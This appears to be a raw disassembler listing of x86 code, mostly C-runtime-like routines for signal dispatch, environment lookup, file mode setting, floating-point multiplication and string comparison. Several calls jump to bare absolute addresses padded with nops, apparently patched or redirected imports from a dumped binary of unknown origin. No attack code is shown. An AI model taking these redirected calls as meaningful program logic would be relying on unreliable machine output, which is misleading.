loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]

loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------

loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
		jnb	short loc_425916

loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h

loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------

loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DB5AC
		mov	eax, offset dword_4DB5AC
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DB5A8
		mov	eax, offset dword_4DB5A8
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DB5B0
		mov	eax, offset dword_4DB5B0
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DB5A4
		mov	eax, offset dword_4DB5A4

loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------

loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2

loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16

loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DB380
		and	dword_4DB380, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43C97C
		mov	dword_43C97C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------

loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]

loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43C970
		mov	ecx, dword_43C974
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43C900h[edx*4]

loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------

loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A

loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43C97C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------

loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B

loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DB380, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43C97C, eax

loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx

loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C978
		cmp	dword_43C8FC, edx
		push	esi
		mov	eax, offset dword_43C8F8
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8F8h[esi*4]

loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4

loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8F8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6

loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DC950, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB2D0
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB2D8, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB2D0
		test	esi, esi
		jz	short loc_425B3E

loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax

loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36

loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------

loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------

loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax

loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC700
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC600[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------

loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h

loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB2A8, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------

loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB2A8, 9

loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------

loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------

loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax

loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A

loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------

loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5

loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax

loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]

loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96

loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11

loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC

loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A

loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax

loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]

loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1

loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96

loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]

loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx

loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------

loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi

loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43CDF8
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43CF58
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h

loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx

loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi

loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]

loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx

loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi

loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DC704
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DC924
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB2D8
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C

loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE

loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax

loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CF0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DB5B8, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427940
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	near ptr 25F0000h
		nop
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DB5B8, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------

loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CAE5C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25F063Eh
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DB5B8, 2

loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi

loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax

loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DB5B8
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25F063Eh
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DB374
		mov	[ebp+arg_18], eax

loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081

loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6

loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2

loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002

loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	near ptr 28C0000h
		nop
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047

loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE

loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D

loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------

loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB

loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE

loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------

loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 2830000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi

loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]

loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	near ptr 2830000h
		nop
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 25F0000h
		nop
		jmp	short loc_42616E
; ---------------------------------------------------------------------------

loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax

loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D

loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190

loc_42619D:				; CODE XREF: sub_426180+Ej
